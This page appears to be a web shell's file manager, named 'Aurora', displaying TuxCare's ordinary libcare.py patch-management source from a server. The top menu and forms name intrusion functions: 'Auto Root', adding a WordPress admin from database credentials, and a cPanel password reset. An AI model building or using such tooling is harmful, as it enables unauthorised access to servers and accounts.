Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
libexec
kcare
python
kcarectl
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: libcare.py
# Copyright (c) TuxCare, Inc. All rights reserved. # Licensed under TUXCARE LICENSE AGREEMENT # https://tuxcare.com/legal/ import collections import json import os import re import shutil import socket from . import ( auth, capabilities, config, config_handlers, constants, errors, fetch, fs_utils, libcare_plugin, log_utils, platform_utils, process_utils, selinux, server_info, update_utils, utils, ) from .py23 import HTTPError, json_loads_nstr, urlquote if False: # pragma: no cover from typing import Any, Dict, List, Optional, Set, Tuple # noqa: F401 LIBCARE_CLIENT = '/usr/libexec/kcare/libcare-client' LIBCARE_SOCKET = ( "/run/libcare/libcare.sock", "/var/run/libcare.sock", ) LIBCARE_PATCHES = '/var/cache/kcare/libcare_patches' LIBCARE_CVE_LIST = '/var/cache/kcare/libcare_cvelist' LIBCARE_LOGROTATE_CONFIG = '/etc/sysconfig/kcare/libcare.logrotate' LIBNAME_MAP = {'mysqld': 'db', 'mariadbd': 'db', 'postgres': 'db'} # Exclude libs on distros with cross-library patches (libnss_dns + libresolv) already deployed: # - EL7 (all distros): glibc-rh1296031.patch (CVE-2015-7547) # - Ubuntu 16.04: revert-CVE-2015-5180.diff # See LIBCARE-2943 for details. # Entries: (distro_substring | None for any, version_prefix, blacklisted_libs). # version_prefix is matched as a dotted component prefix: '7.' matches '7', # '7.9' and '7.9.2009' but not '70'. CentOS 7's VERSION_ID is bare '7'. # Order matters: more specific rules first; first match wins. # NOTE: distro is matched by substring (`bl_distro in distro`) -- pick a substring # that is unique enough to avoid accidentally matching unrelated distros. LIBCARE_LIBS_BLACKLIST = [ ('ubuntu', '16.', set(['libnss_dns'])), (None, '7.', set(['libnss_dns'])), ] # type: List[Tuple[Optional[str], str, Set[str]]] @utils.cached def _get_effective_libcare_libs(): # type: () -> List[str] libs = list(config.LIBCARE_LIBS) blacklisted = set() # type: Set[str] try: distro_info = platform_utils.get_distro() distro = distro_info[0].lower() version = distro_info[1] except Exception: # Distro unknown: exclude the union of all blacklisted libs so we # never ship a lib that would conflict on *some* affected distro. for _, _, bl_libs in LIBCARE_LIBS_BLACKLIST: blacklisted |= bl_libs else: # Append a trailing dot so a bare major version like '7' matches # a prefix like '7.' without also matching '70'. version_dotted = version + '.' for bl_distro, bl_version, bl_libs in LIBCARE_LIBS_BLACKLIST: if (bl_distro is None or bl_distro in distro) and version_dotted.startswith(bl_version): blacklisted = bl_libs break return [lib for lib in libs if lib not in blacklisted] def get_userspace_map(): # type: () -> Dict[str, List[str]] return { 'db': ['mysqld', 'mariadbd', 'postgres'], 'libs': _get_effective_libcare_libs(), } def get_userspace_cache_path(libname, *parts): return os.path.join(constants.PATCH_CACHE, 'userspace', libname, *parts) def clear_libcare_cache(clbl): def wrapper(*args, **kwargs): try: return clbl(*args, **kwargs) finally: try: libcare_client('clearcache') except Exception as err: # We don't want to show the error to the user but want to see it in logs log_utils.logerror("Libcare cache clearing failed: '{0}'".format(err), print_msg=False) return wrapper class UserspacePatchLevel(int): def __new__(cls, libname, buildid, level, baseurl=None): return super(cls, cls).__new__(cls, level) def __init__(self, libname, buildid, level, baseurl=None): self.level = level self.libname = libname self.buildid = buildid self.baseurl = baseurl def cache_path(self, *parts): return get_userspace_cache_path(self.libname, self.buildid, str(self), *parts) def refresh_applied_patches_list(clbl): def save_current_state(info): """KPT-1543 Save info about applied patches""" versions, cves = '', '' try: if info is None: info = _libcare_info() packages = {} all_patches = [] for rec in _get_patches_info(info): packages[rec.get('package')] = rec.get('latest-version', '') all_patches.extend(rec.get('patches', [])) cves_set = utils.extract_unique_cves(all_patches, cve_field='cve') versions = '\n'.join([' '.join(rec) for rec in packages.items()]) cves = '\n'.join(sorted(cves_set)) # sort for consistent output finally: fs_utils.atomic_write(LIBCARE_PATCHES, versions, ensure_dir=True) fs_utils.atomic_write(LIBCARE_CVE_LIST, cves, ensure_dir=True) def wrapper(*args, **kwargs): info = None try: info = clbl(*args, **kwargs) return info finally: save_current_state(info) return wrapper def _resolve_userspace_level( libname, build_id, reason, patch_level=None, tag=None, clear_cache_on_404=True, refresh_feature_flags=True ): # type: (str, str, str, Optional[int], Optional[str], bool, bool) -> Tuple[Optional[UserspacePatchLevel], Dict[str, Any]] """Ask the patch server what is published for this build_id. Both side effects are opt-out because the check commands need them apart: neither may prune the download cache, but --userspace-status is still a check-in and carries the feature flag refresh. """ prefix = config.PREFIX or 'main' libname = urlquote(libname) build_id = urlquote(build_id.strip()) url = utils.get_patch_server_url(LIBNAME_MAP.get(libname, 'u'), prefix, libname, build_id, 'latest.v1') url += '?info=' + server_info.encoded_server_lib_info(reason, patch_level) cache_dst = LIBNAME_MAP.get(libname, 'libs') extra_kwargs = {} if tag: cache_dst = os.path.join('tags', tag, cache_dst) extra_kwargs['headers'] = {'Sticky': tag} try: response = fetch.wrap_with_cache_key(auth.urlopen_auth)(url, check_license=False, **extra_kwargs) except errors.NotFound: if tag: # In transient tag mode the user explicitly asked for a snapshot; # libraries without a patchset on that date are simply not patched # - skip silently instead of failing the whole update. log_utils.loginfo( 'No libcare patchset available for {0} at tag {1}, skipping.'.format(libname, tag), print_msg=False, ) return None, {} # There is no latest info, so we need to clear cache for corresponding # build_id to prevent updates by "-ctl" utility. if clear_cache_on_404: shutil.rmtree(get_userspace_cache_path(cache_dst, build_id), ignore_errors=True) raise except HTTPError as ex: if ex.code == 400 and tag: raise errors.KcareError( 'Invalid sticky patch tag {0}: server rejected the value.'.format(tag), status='invalid lib sticky patch', ) raise if refresh_feature_flags: config_handlers.set_feature_flags_from_headers(response.headers) meta = json_loads_nstr(utils.nstr(response.read())) if not capabilities.has_lc_capabilities(meta.get('capabilities', [])): raise errors.CapabilitiesMismatch( 'Latest LibCare patchset for {0} is incompatible ' 'with the current kernecare package version, please upgrade.'.format(libname) ) return UserspacePatchLevel(cache_dst, build_id, meta['level'], meta.get('baseurl')), meta def fetch_userspace_patch(libname, build_id, patch_level=None, tag=None): level, meta = _resolve_userspace_level(libname, build_id, 'update', patch_level, tag) if level is None: return None patch_path = level.cache_path('patch.tar.gz') if not os.path.exists(patch_path) or os.path.getsize(patch_path) == 0: url = utils.get_patch_server_url(meta['patch_url']) try: fetch.fetch_url(url, patch_path, check_signature=config.USE_SIGNATURE, hash_checker=fetch.get_hash_checker(level)) except HTTPError as ex: # No license - no access if ex.code in (403, 401): raise errors.NoLibcareLicenseException('KC+ licence is required') raise dst = level.cache_path() cmd = ['tar', 'xf', patch_path, '-C', dst, '--no-same-owner'] code, stdout, stderr = process_utils.run_command(cmd, catch_stdout=True, catch_stderr=True) if code: raise errors.KcareError( "Patches unpacking error: '{0}' '{1}' {2}".format(stderr, stdout, code), status='patches unpacking error' ) # tar doesn't fsync, so a reset could leave latest pointing at empty patches. # A failed sync is only logged: the patches work now, and the next update unpacks them again try: fs_utils.fsync_tree(dst) except OSError as e: log_utils.logwarn('Failed to sync {0}: {1}'.format(dst, e), print_msg=False) link_name = get_userspace_cache_path(level.libname, level.buildid, 'latest') if not os.path.islink(link_name) and os.path.isdir(link_name): shutil.rmtree(link_name) # a reset (or a crash) can leave the temp link behind, and symlink() would then fail for good if os.path.lexists(link_name + '.tmp'): os.unlink(link_name + '.tmp') os.symlink(str(level), link_name + '.tmp') fs_utils.sync_rename(link_name + '.tmp', link_name) return level def set_libcare_status(enabled): config.LIBCARE_DISABLED = not enabled if not enabled: libcare_server_stop() config_handlers.update_config(LIBCARE_DISABLED=('FALSE' if enabled else 'YES')) if enabled: libcare_server_start() log_utils.kcarelog.info('libcare service is ' + ('enabled' if enabled else 'disabled')) def set_lib_auto_replugin(enabled): # type: (bool) -> None config.LIB_AUTO_REPLUGIN = enabled config_handlers.update_config(LIB_AUTO_REPLUGIN=('YES' if enabled else 'NO')) log_utils.kcarelog.info('Plugin auto-update during --lib-update is now {0}'.format('ENABLED' if enabled else 'DISABLED')) def libcare_server_stop(): systemctl = process_utils.find_systemctl() if not systemctl: return # Stop the socket first to break cascading restart loops on # systemd 219 (CentOS 7) where a pending connection in the # socket backlog re-activates a failed service. process_utils.run_command([systemctl, 'stop', 'libcare.socket']) process_utils.run_command([systemctl, 'stop', 'libcare.service']) process_utils.run_command([systemctl, 'reset-failed', 'libcare']) process_utils.run_command([systemctl, 'reset-failed', 'libcare.socket']) def libcare_server_start(): systemctl = process_utils.find_systemctl() if not systemctl: return # KPT-2884: skip restart when libcare.service is already active -- systemd # refuses to activate a socket whose service is already running code, _, _ = process_utils.run_command( [systemctl, 'is-active', '--quiet', 'libcare.service'], catch_stdout=True, catch_stderr=True, ) if code == 0: return # Break out of a possible cascading restart loop on systemd 219 # (CentOS 7) by stopping socket first, then service, then clearing # failed state. process_utils.run_command([systemctl, 'stop', 'libcare.socket']) process_utils.run_command([systemctl, 'stop', 'libcare.service']) process_utils.run_command([systemctl, 'reset-failed', 'libcare']) process_utils.run_command([systemctl, 'reset-failed', 'libcare.socket']) process_utils.run_command([systemctl, 'start', 'libcare.socket']) def _libcare_info(patched=True, limit=None): # Escape each name: library/process names contain regex metacharacters # (e.g. '.'/'+' in libstdc++ and libc-2.17.so, or '()' in # 'libcrypto.so.1.0.1e (deleted)') that must match literally, not as a regex. regexp = '|'.join("({0})".format(re.escape(proc)) for proc in sorted(limit or [])) cmd = ['info', '-j'] if not patched: cmd += ['-l'] if regexp: cmd += ['-r', regexp] try: lines = libcare_client(*cmd) except Exception as err: raise errors.KcareError("Gathering userspace libraries info error: '{0}'".format(err), status='userspace libs info error') result = [] for line in lines.split('\n'): if line: try: result.append(json.loads(line)) except ValueError: # We have to do that because socket's output isn't separated to stderr and stdout # so there are chances that will be non-json lines pass # FIXME: remove that libe when library names will be separated to lower # level from process name and pid result = [{'comm': line.pop('comm'), 'pid': line.pop('pid'), 'libs': line} for line in result] for line in result: line['libs'] = dict((k, v) for k, v in line['libs'].items() if ('patchlvl' in v or not patched)) return result def _get_patches_info(info): patches = set() for rec in info: for _, data in rec['libs'].items(): patches.add((data['buildid'], data['patchlvl'])) result = [] umap = get_userspace_map() for cache_dst in umap: # Ordered by patchlvl so newer patch info comes last. Downstream # callers dedup by package via dict-overwrite (_libcare_version, # refresh_applied_patches_list.save_current_state) and would # otherwise keep an arbitrary record when two libraries from one # package have divergent cached snapshots - set() iteration order # depends on PYTHONHASHSEED, so which record wins varies per run. for build_id, patchlvl in sorted(patches, key=lambda p: p[1]): patch_info_filename = get_userspace_cache_path(cache_dst, build_id, str(patchlvl), 'info.json') if os.path.isfile(patch_info_filename): with open(patch_info_filename, 'r') as fd: result.append(json.load(fd)) return result @clear_libcare_cache def libcare_patch_info_basic(): return _get_patches_info(_libcare_info()) @clear_libcare_cache def libcare_patch_info(): result = libcare_patch_info_basic() if not result: log_utils.logerror("No patched processes.") return json.dumps({'result': result}) @clear_libcare_cache def libcare_info(): result = _libcare_info() if not result: log_utils.logerror("No patched processes.") return json.dumps({'result': result}) def _libcare_version(): result = {} for rec in libcare_patch_info_basic(): result[rec.get('package')] = rec.get('latest-version', '') return result def libcare_version(libname): for package, version in _libcare_version().items(): if libname.startswith(package): return version return '' def libcare_client_format(params): return b''.join(utils.bstr(p) + b'\0' for p in params) + b'\0' def get_available_libcare_socket(): for libcare_socket in LIBCARE_SOCKET: if os.path.exists(libcare_socket): return libcare_socket raise errors.KcareError("Libcare socket is not found.") def libcare_client(*params): if config.LIBCARE_DISABLED: raise errors.KcareError('Libcare is disabled.') sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM, 0) sock.settimeout(10) # connect timeout res = b'' try: sock.connect(get_available_libcare_socket()) sock.settimeout(config.LIBCARE_SOCKET_TIMEOUT) cmd = libcare_client_format(params) log_utils.logdebug("Libcare socket send: {cmd}".format(cmd=params)) sock.sendall(cmd) while True: data = sock.recv(4096) if not data: break res += data result = res.decode('utf-8', 'replace') log_utils.logdebug("Libcare socket recieved: {result}".format(result=result)) return result finally: sock.close() def libcare_patch_apply(limit, tag=None): if tag: # Atomic apply from an isolated, tag-specific storage. Leaves the # default storage untouched, so a transient `--lib-tag` update does # not interfere with the normal `--lib-update` flow. for dst in limit: storage_path = get_userspace_cache_path('tags', tag, dst) # check_userspace_updates only creates the tag-specific storage # directory for groups that had running processes with available # patchsets. If a group (e.g. 'db' on a host without a DB) had # nothing fetched, the directory does not exist - skip the apply # for it explicitly so we don't rely on libcare-server's # behavior of returning 0 on "cannot open storage". if not os.path.isdir(storage_path): continue try: libcare_client('update', '--storage', storage_path) except Exception as err: raise errors.KcareError( "Userspace patch applying error (storage={0}): '{1}'".format(storage_path, err), status='userspace patch apply error', ) return for dst in limit: try: libcare_client('storage', get_userspace_cache_path(dst)) except Exception as err: raise errors.KcareError("Userspace storage switching error: '{0}'".format(err), status='userspace storage switch error') try: libcare_client('update') except Exception as err: raise errors.KcareError("Userspace patch applying error: '{0}'".format(err), status='userspace patch apply error') @clear_libcare_cache @refresh_applied_patches_list @process_utils.log_all_parent_processes def libcare_unload(): try: libcare_client('unload') except Exception as err: raise errors.KcareError("Userspace patch unloading error: '{0}'".format(err), status='userspace patch unload error') def libcare_plugin_version(): # type: () -> str """Query the running libcare-server for its plugin version.""" try: result = libcare_client('plugin-version') return result.strip() # type: ignore[no-any-return] except Exception: return '' # What a finished replugin did. The first three are the words libcare-server # writes on the socket; the last three are the client's own, from the step that # prepares the upgrade before the server is asked. REPLUGIN_LOADED = 'LOADED' REPLUGIN_LATEST = 'LATEST' REPLUGIN_FAIL = 'FAIL' REPLUGIN_PREPARE_LATEST = 'PREPARE_LATEST' REPLUGIN_PREPARE_FAIL = 'PREPARE_FAIL' REPLUGIN_NOT_PUBLISHED = 'NOT_PUBLISHED' def libcare_replugin(mode='reload', tag=None): # type: (str, Optional[str]) -> int """Reload the libcare-server plugin, say what happened and return the exit code.""" answer = None if mode == 'upgrade': answer = prepare_libcare_plugin_upgrade(tag) if answer is None: answer = _libcare_replugin_socket(mode) # Handle the answer if answer == REPLUGIN_PREPARE_FAIL: log_utils.logwarn('Libcare plugin failed on the preparation step.') return 1 if answer == REPLUGIN_PREPARE_LATEST: log_utils.loginfo('Libcare plugin is already the published one.') return 0 if answer == REPLUGIN_NOT_PUBLISHED: log_utils.loginfo('No libcare plugin is published for this host.') return 0 if answer == REPLUGIN_FAIL: # Only an upgrade installs a manifest, and it names the version that was # meant to load, so a swap that did not happen must not leave it behind. if mode == 'upgrade': libcare_plugin.revert_manifest() log_utils.logwarn('Libcare plugin reload failed.') return 1 if answer == REPLUGIN_LATEST: if mode == 'upgrade': libcare_plugin.revert_manifest() log_utils.loginfo('Libcare plugin unchanged: the server kept the running one.') return 0 if answer == REPLUGIN_LOADED: log_utils.loginfo('Libcare plugin reloaded.') if mode == 'orig' and config.LIB_AUTO_REPLUGIN: log_utils.loginfo('Run --lib-off-auto-replugin to keep the next update from ' 'switching back to the published plugin.') return 0 # a word the server sent that this client does not know log_utils.logwarn('Libcare plugin reload failed.') return 1 def _libcare_replugin_socket(mode): # type: (str) -> str """Ask the server to replugin; it answers with one word.""" # Reload is the bare command: plugins published before it took the word # reject `replugin reload`, and the plugin owns this dispatch. args = ['replugin'] if mode == 'reload' else ['replugin', mode] try: answer = libcare_client(*args).strip() except Exception as err: log_utils.logwarn('Libcare replugin: {0}'.format(err)) return REPLUGIN_FAIL return answer # type: ignore[no-any-return] def _get_libcare_plugin_level(tag=None): # type: (Optional[str]) -> Tuple[Optional[UserspacePatchLevel], Optional[str]] """Probe the plugin index slot; an answer means the search stopped there.""" distro_id, version = platform_utils.get_os_release() build_id = libcare_plugin._libcare_plugin_id_for_distro(distro_id, version) if not build_id: log_utils.logdebug('No libcare plugin slot for {0} {1}'.format(distro_id, version)) return None, REPLUGIN_NOT_PUBLISHED try: level, _ = _resolve_userspace_level(libcare_plugin.LIBCARE_PLUGIN_LIBNAME, build_id, 'plugin-check', tag=tag) except errors.NotFound: level = None except HTTPError as err: log_utils.logdebug('HTTP {0} from the libcare plugin slot query'.format(err.code)) return None, REPLUGIN_PREPARE_FAIL except errors.KcareError: raise except Exception as err: log_utils.logdebug('The libcare plugin slot query failed: {0}'.format(err)) return None, REPLUGIN_PREPARE_FAIL if level is None or not level.baseurl: log_utils.logdebug('Nothing is published for libcare plugin slot {0}'.format(build_id)) return None, REPLUGIN_NOT_PUBLISHED return level, None def prepare_libcare_plugin_upgrade(tag=None): # type: (Optional[str]) -> Optional[str] """Fetch, verify and stage the published plugin; a None answer means go on and swap.""" # The kcarectl log carries one line per run, so the step that stopped the # swap is only visible with --debug. # get the current plugin version current_ver = libcare_plugin_version() # get the plugin patch level from the patch server level, answer = _get_libcare_plugin_level(tag=tag) if level is None: return answer # get the release manifest with the hash of every file hc = fetch.get_hash_checker(level) if hc is None: log_utils.logdebug('The verification of the libcare plugin release manifest is unreachable') return REPLUGIN_PREPARE_FAIL # check the manifest lists the plugin and its version nested_ver = '{0}/{1}'.format(level.buildid, libcare_plugin.LIBCARE_PLUGIN_VERSION_FILE) nested_bin = '{0}/{1}'.format(level.buildid, libcare_plugin.LIBCARE_PLUGIN_BINARY_FILE) if nested_ver not in hc.hashes or nested_bin not in hc.hashes: log_utils.logdebug('The libcare plugin release manifest lists no plugin files') return REPLUGIN_PREPARE_FAIL # read the plugin version from the version file pv_path = level.cache_path(libcare_plugin.LIBCARE_PLUGIN_VERSION_FILE) try: fetch.fetch_url(utils.get_patch_server_url(level.baseurl, nested_ver), pv_path, hash_checker=hc) except Exception as err: log_utils.logdebug('The advertised libcare plugin version could not be fetched: {0}'.format(err)) return REPLUGIN_PREPARE_FAIL new_ver = (utils.read_file(pv_path) or '').strip() if not new_ver: log_utils.logdebug('The advertised libcare plugin version file is empty') return REPLUGIN_PREPARE_FAIL if libcare_plugin.compare_libcare_plugin_versions(new_ver, current_ver) <= 0: log_utils.logdebug('Published libcare plugin {0} is not newer than the running {1}'.format(new_ver, current_ver)) return REPLUGIN_PREPARE_LATEST # read the plugin version from the plugin itself cache_plugin = level.cache_path(libcare_plugin.LIBCARE_PLUGIN_BINARY_FILE) try: fetch.fetch_url(utils.get_patch_server_url(level.baseurl, nested_bin), cache_plugin, hash_checker=hc) except Exception as err: log_utils.logdebug('The libcare plugin could not be downloaded: {0}'.format(err)) return REPLUGIN_PREPARE_FAIL elf_ver = libcare_plugin.read_libcare_plugin_version_from_elf(cache_plugin) if elf_ver != new_ver: log_utils.logdebug('The downloaded libcare plugin carries version {0}, not the advertised one'.format(elf_ver or '(none)')) return REPLUGIN_PREPARE_FAIL # publish the manifest and stage the plugin, in that order: the server # checks the hash while loading, so the manifest has to be there first try: sig_url = utils.get_patch_server_url(level.baseurl, fetch.CONTENT_FILE + '.json-sig') signature = auth.urlopen_auth(sig_url, check_license=False).read() libcare_plugin.install_manifest(level.cache_path(fetch.CONTENT_FILE), signature) except Exception as err: log_utils.logdebug('The libcare plugin release manifest could not be published locally: {0}'.format(err)) return REPLUGIN_PREPARE_FAIL try: libcare_plugin.stage_plugin(cache_plugin) except Exception as err: log_utils.logdebug('The libcare plugin could not be staged for the server: {0}'.format(err)) libcare_plugin.revert_manifest() return REPLUGIN_PREPARE_FAIL log_utils.logdebug('Libcare plugin {0} staged over the running {1}'.format(new_ver, current_ver)) return None # log_all_parent_processes must be outermost to run first @process_utils.log_all_parent_processes @update_utils.track_update_status('libcare') @selinux.skip_if_no_selinux_module @clear_libcare_cache @refresh_applied_patches_list def do_userspace_update(mode=constants.UPDATE_MODE_MANUAL, limit=None, tag=None): """Patch userspace processes to the latest version.""" rotate_libcare_logs() # Auto-update means cron-initiated run and if no # LIB_AUTO_UPDATE flag in the config - nothing will happen. if mode == constants.UPDATE_MODE_AUTO and not config.LIB_AUTO_UPDATE: return None umap = get_userspace_map() if limit is None: limit = list(umap.keys()) process_filter = [] for userspace_patch in limit: process_filter.extend(umap.get(userspace_patch, [])) if not process_filter: # Unknown limits were defined. Do nothing log_utils.loginfo('No such userspace patches: {0}'.format(limit)) return None failed, something_found, before = check_userspace_updates(limit=process_filter, tag=tag) # Also check for plugin update alongside patches; plugin discovery is # independent of the patch releases (own index slot on the patch server). if config.LIB_AUTO_REPLUGIN: # A plugin problem never fails the patching this function exists for: # the outcome is reported and the run continues. try: libcare_replugin('upgrade', tag=tag) except Exception as err: log_utils.logwarn('Plugin update check failed: {0}'.format(err)) else: log_utils.loginfo('Plugin auto-update disabled by --lib-off-auto-replugin; ' 'skipping plugin fetch') if failed: raise errors.KcareError('There were errors while patches downloading (unpacking).') if not something_found: log_utils.loginfo('No patches were found.') return None selinux.restore_selinux_context(os.path.join(constants.PATCH_CACHE, 'userspace')) rotate_libcare_logs() try: # Batch apply for all collected patches libcare_patch_apply(limit, tag=tag) # TODO: clear userspace cache. We need the same logic as for kernel, lets do # it later to reduce this patch size. except errors.KcareError as ex: log_utils.logerror(str(ex)) raise errors.KcareError('There were errors while patches applying.') data_after = _libcare_info() after = _get_userspace_procs(data_after) if not any(list(item['libs'] for item in data_after)): # No patches were applied return None # Info on how many patches were actually patched via before and after diff log_utils.logdebug("Patched before: {before}".format(before=before)) log_utils.logdebug("Patched after: {after}".format(after=after)) uniq_procs_after = set(v for items in after.values() for v in items) uniq_procs_before = set(v for items in before.values() for v in items) diff = uniq_procs_after - uniq_procs_before overall = sum(len(v) for v in after.values()) log_utils.loginfo( "The patches have been successfully applied to {count} newly " "discovered processes. The overall amount of applied patches " "is {overall}.".format(count=len(diff), overall=overall) ) for k, v in after.items(): log_utils.loginfo("Object `{0}` is patched for {1} processes.".format(k, len(v))) return data_after @clear_libcare_cache def get_userspace_update_status(): try: records = check_userspace_levels() except errors.KcareError: return 3 finally: rotate_libcare_logs() if any(rec.failed for rec in records): return 3 # 1 means "this host is not fully patched" - either nothing is patched # yet, or a library is behind the level the server publishes. if not any(rec.applied for rec in records) or any(rec.behind for rec in records): return 1 return 0 def lib_check(): # type: () -> int """--lib-check: 0 when a loaded library has a newer level published, 1 otherwise. Read-only counterpart of --lib-update - it downloads nothing and leaves the userspace cache alone. An unreachable libcare-server answers 1, so a broken daemon never triggers an automated update.""" try: records = check_userspace_levels(reason='lib-check', refresh_feature_flags=False) except errors.KcareError as ex: log_utils.logerror(str(ex)) return 1 behind = sorted(set(rec.libname for rec in records if rec.behind)) if not behind: log_utils.loginfo('The latest userspace patches are applied.') return 1 log_utils.loginfo("Userspace update available for {0}, run 'kcarectl --lib-update'.".format(', '.join(behind))) return 0 def _get_userspace_procs(info): result = {} # type: Dict[str, List[Tuple[int, str]]] for item in info: for libname, rec in item['libs'].items(): if rec.get('patchlvl'): if libname not in result: result[libname] = [] result[libname].append((item['pid'], item['comm'])) return result def _get_userspace_libs(info): result = set() for item in info: for libname, rec in item['libs'].items(): result.add((libname, rec['buildid'], rec.get('patchlvl', 0))) return result UserspaceLevelStatus = collections.namedtuple('UserspaceLevelStatus', 'libname applied behind failed') def _resolve_published_level(libname, build_id, reason, patch_level, refresh_feature_flags): # type: (str, str, str, int, bool) -> Tuple[Optional[UserspacePatchLevel], bool] """(published level, failed) for one slot. A level of None without a failure means nothing is published for it, which is a normal answer. """ try: level, _ = _resolve_userspace_level( libname, build_id, reason, patch_level, clear_cache_on_404=False, refresh_feature_flags=refresh_feature_flags ) except errors.NotFound: return None, False except errors.CapabilitiesMismatch as ex: log_utils.logwarn(str(ex)) return None, True except errors.AlreadyTrialedException: raise except (errors.KcareError, HTTPError) as ex: log_utils.logerror(str(ex), print_msg=False) return None, True return level, False def check_userspace_levels(limit=None, reason='info', refresh_feature_flags=True): # type: (Optional[List[str]], str, bool) -> List[UserspaceLevelStatus] """Metadata-only counterpart of check_userspace_updates(): report whether each loaded library is behind the level the patch server publishes, without downloading or unpacking anything. Raises errors.KcareError when libcare-server cannot be reached - there is no per-library answer to give in that case. """ if not limit: limit = [] for libs in get_userspace_map().values(): limit.extend(libs) # The processes started for this call (a cron job's crond child and shell, # an ssh session's sshd and shell) usually started or loaded a library # after the last --lib-update; their unpatched slots would always read as # behind and a monitor could never see "up to date". Only those slots are # left out: the daemon the call came through (crond, the sshd listener) is # not in the set and is checked in full. What a check launched beneath it # cannot see is an unpatched slot of a long-lived process between that # daemon and kcarectl, e.g. a tmux or screen server started before the # update. callers = process_utils.get_caller_pids() info = [] # type: List[Dict[str, Any]] for item in _libcare_info(patched=False, limit=limit): if item.get('pid') in callers: item = dict(item, libs=dict((name, rec) for name, rec in item['libs'].items() if rec.get('patchlvl'))) info.append(item) # Sorted because set iteration order depends on PYTHONHASHSEED. entries = sorted(_get_userspace_libs(info)) # A library appears once per level applied across processes, so check in # with the highest of them and ask about each slot only once. applied = {} # type: Dict[Tuple[str, str], int] for libname, build_id, patchlvl in entries: applied[(libname, build_id)] = max(applied.get((libname, build_id), 0), patchlvl) records = [] # type: List[UserspaceLevelStatus] resolved = {} # type: Dict[Tuple[str, str], Tuple[Optional[UserspacePatchLevel], bool]] for libname, build_id, patchlvl in entries: key = (libname, build_id) if key not in resolved: resolved[key] = _resolve_published_level(libname, build_id, reason, applied[key], refresh_feature_flags) level, failed = resolved[key] records.append(UserspaceLevelStatus(libname, patchlvl, level is not None and level > patchlvl, failed)) return records def check_userspace_updates(limit=None, tag=None): if not limit: umap = get_userspace_map() limit = [] [limit.extend(libs) for libs in umap.values()] data_before = _libcare_info(patched=False, limit=limit) before = _get_userspace_procs(data_before) failed = something_found = False for rec in _get_userspace_libs(data_before): # Download and unpack patches libname, build_id, patchlvl = rec try: result = fetch_userspace_patch(libname, build_id, patchlvl, tag=tag) # In tag mode a None result means the patchset was missing for # this library on the requested date - that's a legitimate skip, # not a "found update". if tag and result is None: continue something_found = True except errors.CapabilitiesMismatch as e: failed = True log_utils.logwarn(str(e)) except (errors.NotFound, errors.NoLibcareLicenseException): pass except errors.AlreadyTrialedException: raise except errors.KcareError as ex: # An invalid sticky tag is rejected by the server for every # build_id (the 400 is a property of the tag value, not of # the library). Continuing the loop would just hammer the # server with N identical 400s and bury the specific error # under a generic "There were errors while patches downloading" # at the end. Fail fast with the original message instead, # mirroring AlreadyTrialedException handling above. if getattr(ex, 'status', None) == 'invalid lib sticky patch': raise failed = True log_utils.logerror(str(ex)) return failed, something_found, before def rotate_libcare_logs(): rc = 0 stderr = '' logrotate_path = process_utils.find_cmd('logrotate', raise_exc=False) if logrotate_path: try: rc, _, stderr = process_utils.run_command([logrotate_path, LIBCARE_LOGROTATE_CONFIG], catch_stderr=True) except Exception as e: rc = 1 stderr = str(e) if rc: log_utils.logerror('failed to run logrotate for libcare logs, stderr: {0}'.format(stderr), print_msg=False) else: log_utils.logwarn("logrotate utility wasn't found", print_msg=False) libcare_log_directory = '/var/log/libcare/' if not os.path.isdir(libcare_log_directory): return max_total_size = config.LIBCARE_PIDLOGS_MAX_TOTAL_SIZE_MB * (1024**2) try: log_files = os.listdir(libcare_log_directory) pidlog_re = re.compile(r'^\d+\.log.*') # both .log and .log.x.gz pidlog_files = [os.path.join(libcare_log_directory, fn) for fn in log_files if pidlog_re.match(fn)] pidlog_files_with_ct = [(os.path.getctime(fp), fp) for fp in pidlog_files] pidlog_files_with_ct.sort(reverse=True) # newest files first # delete old files if we have overflow total_size = 0 for _, filepath in pidlog_files_with_ct: total_size += os.path.getsize(filepath) if total_size >= max_total_size: os.remove(filepath) log_utils.kcarelog.info('Removed %s because of logs size limit', filepath) except Exception: # pragma: no cover log_utils.logexc('Failed to cleanup libcare server logfiles', print_msg=False) def libcare_server_started(): """Assume that whenever the service is not running, we did not patch anything.""" systemctl = process_utils.find_systemctl() if not systemctl: return False cmd = [systemctl, 'is-active', '--quiet', 'libcare.service'] code, _, _ = process_utils.run_command(cmd, catch_stdout=True, catch_stderr=True) return code == 0